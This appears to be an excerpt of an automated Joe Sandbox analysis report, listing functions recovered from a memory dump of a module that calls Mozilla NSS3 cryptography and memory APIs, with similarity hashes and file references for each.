Part of subcall function 6C6E2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C1E
Part of subcall function 6C6E2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C4A

free.MOZGLUE(?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D0F
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D4E
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D62
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D85
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D99
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E47
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F4B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction ID: ccfaa29ebd7421f033e672f1e677cedeafec0bb7f6cb9aee69864ac51dab5b3d
Opcode Fuzzy Hash: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction Fuzzy Hash: 2971C2B4A05B019FD700CF60D884A96B7F5FF89308F148529E81E87B11EB32F955CB59

Function 6C668DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C668E22
EnterCriticalSection.KERNEL32(?), ref: 6C668E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C668E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C668E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C668EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C668EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F00
free.MOZGLUE(?), ref: 6C668F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C668F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F5B
PR_Unlock.NSS3(?), ref: 6C668F72
PR_Unlock.NSS3(?), ref: 6C668F82

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction ID: 4ed5d4e1d00a07b72f3c5744550685c3ed520d2649cf699b35357d5168366f8a
Opcode Fuzzy Hash: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction Fuzzy Hash: 18510BB2D00215AFD7009F7ACC449AEB7B9EF5A358B144129EC089BF10E731ED4587E6

Function 6C68CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C68CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C68CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C68CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C68CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C68CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C68CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C68CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C68CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C68CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C68CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C68CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C68CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C68CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C68D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C68D021

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: d1f651082c0f3a5d7c5d58c19e336fc211ff98c86a1f23ede3cf83dfc7696c3f
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: C5313071B9791127EF0D149B6C21F9E254A4B6630EF440039F90BE6BC0FA859A5702BD

Function 6C760FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C761000

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C761016

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_Unlock.NSS3(?), ref: 6C761021

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761046
PR_Unlock.NSS3(?), ref: 6C76106B
PR_Lock.NSS3 ref: 6C761079
PR_Unlock.NSS3 ref: 6C761096
free.MOZGLUE(?), ref: 6C7610A7
free.MOZGLUE(?), ref: 6C7610B4
PR_DestroyCondVar.NSS3(?), ref: 6C7610BF
PR_DestroyCondVar.NSS3(?), ref: 6C7610CA
PR_DestroyCondVar.NSS3(?), ref: 6C7610D5
PR_DestroyCondVar.NSS3(?), ref: 6C7610E0
PR_DestroyLock.NSS3(?), ref: 6C7610EB
free.MOZGLUE(?), ref: 6C761105

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction ID: 0be9266e25295d986855f9001a957344754722453cf731bed1f07a0631cffab7
Opcode Fuzzy Hash: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction Fuzzy Hash: 77316BB5900402BBDB019F15EE45A45BBB6FF02319B188130E80952F61E732F979EBDA

Function 6C5DDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5DDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C5DDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5DDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C5DDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DDECD

Strings

database corruption, xrefs: 6C5DDF77, 6C5DDFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DDF6D, 6C5DDFCC, 6C5DDFDD
%s at line %d of [%.10s], xrefs: 6C5DDF7C, 6C5DDFEC

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction ID: c17f001fb6a41653d29d53ad03bc4551fc80e228bc2deba9a953e3157f71b89e
Opcode Fuzzy Hash: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction Fuzzy Hash: E6A1B3716043069BC710DF2DCC80A6AB7F5EF95308F1A896DE8858BB51E730F945CBA6

Function 6C69EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C69EE0B

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C69EEE1

Part of subcall function 6C691D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C691D7E
Part of subcall function 6C691D50: EnterCriticalSection.KERNEL32(?), ref: 6C691D8E
Part of subcall function 6C691D50: PR_Unlock.NSS3(?), ref: 6C691DD3

TlsGetValue.KERNEL32 ref: 6C69EE51
EnterCriticalSection.KERNEL32(?), ref: 6C69EE65
PR_Unlock.NSS3(?), ref: 6C69EEA2
free.MOZGLUE(?), ref: 6C69EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C69EED0
PR_Unlock.NSS3(?), ref: 6C69EF48
free.MOZGLUE(?), ref: 6C69EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C69EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C69EFA4
free.MOZGLUE(?), ref: 6C69EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69F055
free.MOZGLUE(?), ref: 6C69F060

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction ID: 30126aafb8ff49667068a156bd3657370fcb8a055a26e1405f569689917ac487
Opcode Fuzzy Hash: 1b5c8277085b0aaf0e628a0e698ff6ad375d3f95282e3bb5168e4128c866f2c9
Instruction Fuzzy Hash: 3A8181B1A0020AABDF00DFA5DC45BEE7BB5BF09318F144025E909A3711E731E965CBA9

Function 6C664CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C664D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C664D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C664DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C664E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C664E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C664E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C664E85
DER_Encode_Util.NSS3(?,?,6C7B05A4,00000000), ref: 6C664EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C664F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C664F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C664F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C664F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C664FC8

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction ID: 2ac62ba7dff3fee9f7dd21be046cea95f236de9391d5fff346251b62a1ffedd7
Opcode Fuzzy Hash: 587d08d26e206948ffbce55c6eb2a00cedd2dd8134fac1dd78fdb9d00cf67cff
Instruction Fuzzy Hash: 2F81B371908301AFE701CF26D850BABB7E4ABC5348F148929F958DBA40E771E905CB9B

Function 6C6A5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C6A5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C6A5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C6A5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C6A5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C6A5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5E18
TlsGetValue.KERNEL32 ref: 6C6A5E5E
EnterCriticalSection.KERNEL32(?), ref: 6C6A5E72
PR_Unlock.NSS3(?), ref: 6C6A5E8B

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

Strings

d, xrefs: 6C6A5C36
tokens=[0x%x=<%s>], xrefs: 6C6A5D3D

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction ID: 67d2fa1bc4b4cefd73094192f9e51fc6835de4a1769b98e93e94a216269452af
Opcode Fuzzy Hash: 7c7cac7219beebac83acf4b5ad6ed74eb49e65dcf9495bd46145419a4aada128
Instruction Fuzzy Hash: F871B3B1A05501ABEB00DFA4DC45BAE7275BF4631CF140435E80A9AB46EB32ED17879E

Function 6C698F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C699582), ref: 6C698F5B

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C698F6A

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C698FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C698FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C77D820,6C699576), ref: 6C698FF9
DER_GetInteger_Util.NSS3(?), ref: 6C69901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C69903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C699062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6990A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6990CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6990F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C69912D
free.MOZGLUE(00000000), ref: 6C699136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C699145

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction ID: cc9e516a6502a86337e54dc69d0e1f7cc63ba288f598162578b36d4168f8a15f
Opcode Fuzzy Hash: 3dcaa28ba1296a70ee06e1a35efba161481da057beeb6946c9231f0bd5629547
Instruction Fuzzy Hash: 9251F1B2A042019FEB00CF28DC41B9BB7E8BF99358F044529EC5997741E731E955CB9A

Function 6C68ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C68ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AE29

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C68AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C68AEA0

Strings

hKey = 0x%x, xrefs: 6C68AE62, 6C68AE72
hSession = 0x%x, xrefs: 6C68AE01, 6C68AE11
(CK_INVALID_HANDLE), xrefs: 6C68AE1F, 6C68AE80
C_MessageSignInit, xrefs: 6C68ADE1
nvl, xrefs: 6C68AEB8, 6C68AEE6

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nvl
API String ID: 332880674-3036463336
Opcode ID: 6f93ab5d4f536379bbe1cf368851be28c70bba7a869e4d46329c8a88744a6c96
Instruction ID: b1f9696cb3354686915813e62beb135d3fc7df5ed0a10a026cef5fb02f6d1805
Opcode Fuzzy Hash: 6f93ab5d4f536379bbe1cf368851be28c70bba7a869e4d46329c8a88744a6c96
Instruction Fuzzy Hash: CA31EB71602208ABCB009F14DD4CFAA3775AB4630DF044834ED09ABB92DB309909DBBE

Function 6C689EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C689F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689F49

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C689F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C689FC0

Strings

C_MessageEncryptInit, xrefs: 6C689F01
hKey = 0x%x, xrefs: 6C689F82, 6C689F92
hSession = 0x%x, xrefs: 6C689F21, 6C689F31
(CK_INVALID_HANDLE), xrefs: 6C689F3F, 6C689FA0
nvl, xrefs: 6C689FD8, 6C68A006

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

